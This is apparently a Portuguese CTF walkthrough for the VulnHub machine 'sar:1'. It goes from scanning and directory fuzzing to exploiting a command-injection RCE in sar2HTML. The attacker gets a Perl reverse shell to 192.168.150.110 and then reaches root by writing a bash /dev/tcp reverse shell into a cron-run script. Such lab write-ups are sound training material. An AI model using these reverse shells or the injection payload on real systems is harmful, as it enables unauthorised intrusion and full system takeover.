Link da Maquina: https://www.vulnhub.com/entry/sar-1,425/
Scan/Enumeracao
Host Discovery
- Com o comando arp-scan vamos descobrir quais sao os hosts que estao up na rede
1
sudo arp-scan -I eth1 192.168.150.0/24
Port Discovery
- Vamos descobrir as portas quqe estao abertas no alvo
1
sudo nmap -n -T5 -p- 192.168.150.114
Port Scan
- Vamos escanear a porta que esta aberta para descobrir qual o servico que esta rodando e qual a versao
1
sudo nmap -n -T5 -A -p 80 192.168.150.114
POrta 80: Apache httpd 2.4.29
Exploracao
Web
Acessando a pagina pelo browser
- Na pagina principal da aplicacao temo a “Default Page” do Apache2
Fuzzy de diretorios
- Rodando o gobuster para procurar por mais arquivos e diretorios
1
gobuster dir -u http://192.168.150.114 -w /usr/share/wordlists/dirb/big.txt -x php,txt
- Achamos dois arquivos, phpinfo.php e robots.txt. No phpinfo temos as informacoes de configuracao do Apache
- No outro arquivo robots temos uma palavra sar2HTML
sar2HTML
- Conseguimos acessar uma outra pagina web com a dica que recebemos no robots: http://192.168.150.114/sar2HTML/
Jogando no google o nome da aplicacao ja apareceram inumeros sites com a vulnerabilidade dessa aplicacao
Entrando no site www.exploit-db.com e procurando por exploits para o sarHTML versao 3.2.1 temos um para RCE. Inicialmente analisando o exploit, ele e feito em python e a principio consegue executar comando atraves da URL “{url}/index.php?plot=;{cmd}”
- Vamos baixa-lo, dar permissao de execucao para o script e executa-lo
1 - Executamos o script com python3
2 - Inserimos a URL da aplicacao
3 - Inserimos o comando para ser executado no alvo
RCE / Shell Reverso
- Agora vamos seguir os seguintes passos:
1 - Deixar uma porta escutando na kali
2 - procurar com o rbscheat um comando par nos enviar um shell em perl. Mas porque em perl? Testamos varios comandos ate termos sucesso com o comando em perl para hosts Linux que nao possuem /bin/sh.
3 -
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.150.110:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
4 - Enviamos para o nosso alvo por meio do exploit
5 - E por fim recebemos o SHELL REVERSO!
Melhorando o Shell
- Vamos melhorar o nosso shell reverso
1
2
3
script /dev/null
export TERM=xterm
python3 -c "import pty;pty.spawn('/bin/bash')"
Escalando Privilegio
- Primeiramente procuramos por diretorios e arquivos com pesmissao de escrita. Procuramos tambem por binarios com SUID e listamos o que podemos executar como sudo
1
2
3
4
find / -type d -writable 2> /dev/null | fgrep -v proc
find / -type f -writable 2> /dev/null | fgrep -v proc
find / -perm -4000 2> /dev/null | fgrep -v proc
sudo -l
- Nao conseguimos achar nada de interessando inicialmente. Entao vamos tranferir o linpeas para o alvo
- Executamos o linpeas
- Duas coisas chamaram antencao no resultado do linpeas.
A primeira coisa que nos chama atencao e uma tarefa agendada no crontab
A segunda e que podemos escrever em um arquivo que esta no diretorio /var/spool/cron/crontabs
- Verificando o /etc/crontab podemos observar que a tarefa se trata em executar um arquivo, /var/www/html/finally.sh
- Ao verificar esse arquivo observamso que ele executa outro script write.sh, que esta no mesmo diretorio. Para a nossa alegria temos permissao de escrita no arquivo write.sh.
- Agora vamos criar um arquivo na nossa maquina kali com o nome “write.sh”.
1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.150.110/443 0<&1
- Depois de ter feito o arquivo vamos levantar um servidor web com o python na nossa maquina, baixar ele no alvo e dar permissao total pra ele
1
2
wget 192.168.150.110/write.sh
chmod 777 write.sh
- Agora e so deixar a porta escutando na nossa maquina e qnd o spript for executado a proxima vez viraremos ROOT!
ROOT
- Pronto, agora somos ROOT!
Flag
- Conseguimos pegar a flag do user.txt e a root.txt